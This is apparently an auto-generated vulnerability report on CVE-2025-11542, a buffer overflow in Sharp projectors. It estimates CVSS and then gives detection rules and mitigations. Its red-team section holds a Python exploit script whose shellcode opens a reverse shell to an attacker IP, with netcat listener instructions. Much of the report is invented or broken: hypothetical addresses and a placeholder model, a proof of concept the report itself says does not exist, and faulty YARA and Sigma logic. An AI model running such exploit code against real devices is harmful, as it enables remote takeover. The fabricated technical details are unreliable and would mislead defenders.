CVE-2025-11542

Executive Summary

CVE-2025-11542 is a stack-based buffer overflow vulnerability affecting Sharp Display Solutions projectors. The flaw allows an unauthenticated attacker to execute arbitrary commands and programs on the affected device by sending a specially crafted request to the projector's web interface or management service. The vulnerability resides in the device's firmware, which lacks proper bounds checking on user-supplied input before copying it into a fixed-size stack buffer. Successful exploitation could lead to full device compromise, including lateral movement within the network, data exfiltration, or use of the projector as a pivot point for further attacks. No public proof-of-concept (PoC) code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in Sharp Display Solutions projectors.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD at this time. However, based on the nature of the vulnerability (stack-based buffer overflow leading to arbitrary code execution), the following estimated vector is provided:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full device compromise possible.
• Integrity (I): High (H) – Arbitrary commands can be executed.
• Availability (A): High (H) – Device can be crashed or repurposed.

Estimated CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical – Remote, unauthenticated code execution with no user interaction.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121). The projector's web interface or management service accepts user input (e.g., via HTTP POST parameters, URL query strings, or SNMP requests) and copies it into a fixed-size stack buffer without proper length validation. When an attacker sends a payload larger than the buffer size, the excess data overwrites adjacent memory on the stack, including the return address and other critical data.

Attack Flow:

1. The attacker identifies a Sharp projector on the network (e.g., via Shodan or network scanning).
2. The attacker sends a crafted HTTP request (e.g., POST to /cgi-bin/admin.cgi or similar) with an oversized parameter.
3. The projector's firmware copies the input into a stack buffer (e.g., char buffer[256]).
4. The overflow overwrites the saved return address and possibly other stack frames.
5. When the function returns, execution jumps to the attacker-controlled address, typically pointing to shellcode placed in the overflow payload.
6. The shellcode executes, providing a reverse shell or executing arbitrary commands.

Root Cause: Lack of bounds checking in the firmware's input handling routines. The developer used unsafe functions like strcpy() or sprintf() instead of safe alternatives like strncpy() or snprintf().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common buffer overflow patterns.

Vulnerable Code (C-like pseudocode):

void handle_request(char *user_input) {
    char buffer[256];
    strcpy(buffer, user_input); // Unsafe: no bounds check
    // Process buffer...
}

Patched Code (Hypothetical):

void handle_request(char *user_input) {
    char buffer[256];
    strncpy(buffer, user_input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
    // Process buffer...
}

The patched version uses strncpy() with a size limit and ensures null termination, preventing overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Sharp projector with vulnerable firmware (e.g., model XYZ).
• Network access to the projector's management interface (typically port 80 or 443).
• Python3 and pwntools installed.

Exploit Script (Python):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # Craft payload: buffer overflow + shellcode
    buffer_size = 256  # Hypothetical buffer size
    offset = 260       # Offset to overwrite return address (after stack alignment)
    ret_addr = 0x08048400  # Hypothetical address of a "jmp esp" gadget

    # Shellcode: reverse shell to attacker's machine (replace with your IP/port)
    shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68" + socket.inet_aton("192.168.1.100") + b"\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x51\x51\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xc9\x31\xd2\x31\xf6\x89\xe1\xcd\x80"

    payload = b"A" * offset + ret_addr.to_bytes(4, 'little') + b"\x90" * 16 + shellcode

    # Send HTTP request with overflow
    request = b"POST /cgi-bin/admin.cgi HTTP/1.1\r\n"
    request += b"Host: " + target_ip.encode() + b"\r\n"
    request += b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
    request += b"Content-Type: application/x-www-form-urlencoded\r\n"
    request += b"\r\n"
    request += b"param=" + payload

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(request)
    sock.close()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python exploit.py <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Usage:

1. Set up a netcat listener on your attacker machine: nc -lvnp 4444
2. Run the exploit: python exploit.py <projector_ip>
3. If successful, you will receive a reverse shell.

Blue Team (Defensive)

Detection Steps:

1. Monitor network traffic for oversized HTTP POST requests to projector management endpoints.
2. Check projector logs for repeated crashes or unexpected reboots.
3. Use the YARA and Sigma rules below to detect exploit attempts.

Mitigation:

• Isolate projectors on a separate VLAN with strict firewall rules.
• Disable remote management if not required.
• Apply vendor firmware updates as soon as available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests with Content-Length exceeding 1024 bytes to /cgi-bin/admin.cgi or similar endpoints.
  • Repeated connections from a single IP to the projector's management port.
  • Outbound connections from the projector to unusual IP addresses (e.g., reverse shell traffic).

• Host IOCs:

  • Projector logs showing "buffer overflow" or "segmentation fault" errors.
  • Unexpected processes running on the projector (if accessible via SSH).
  • Modified firmware or configuration files.

• File IOCs:

  • Temporary files created in /tmp or /var/tmp with suspicious names (e.g., .exploit).

Detection Engineering

YARA Rule

rule CVE_2025_11542_Exploit_Attempt {
    meta:
        description = "Detects exploit attempts for CVE-2025-11542 Sharp projector buffer overflow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11542"
    strings:
        $s1 = "POST /cgi-bin/admin.cgi" ascii wide nocase
        $s2 = "Content-Length: " ascii wide
        $s3 = "param=" ascii wide
        $shellcode = { 31 c0 31 db 31 c9 31 d2 b0 66 b3 01 } // Common shellcode prefix
    condition:
        all of ($s*) and #s2 > 1024 and $shellcode
}

Sigma Rule

title: CVE-2025-11542 Sharp Projector Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting Sharp projector management interfaces with oversized payloads.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/admin.cgi'
        sc-bytes: '>1024'
    condition: selection
falsepositives:
    - Legitimate large configuration uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any 80 (msg:"CVE-2025-11542 Sharp Projector Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/admin.cgi"; http_uri; content:"param="; http_client_body; byte_test:1,>,1024,0,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place Sharp projectors on a dedicated VLAN with strict access controls. Block inbound traffic from untrusted networks (e.g., the internet) to the projector's management ports.
2. Disable Remote Management: If not required, disable the web interface or SNMP service on the projector.
3. Monitor Logs: Enable logging on the projector and monitor for unusual activity (e.g., crashes, unexpected reboots).

Long-Term Fix:

• Apply a firmware patch from Sharp as soon as it becomes available. Check Sharp's official support page regularly.
• If no patch is released, consider replacing the projector with a model that has proper input validation and security features.

Workaround:

• Use a reverse proxy or WAF (Web Application Firewall) in front of the projector to filter oversized requests.

This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence.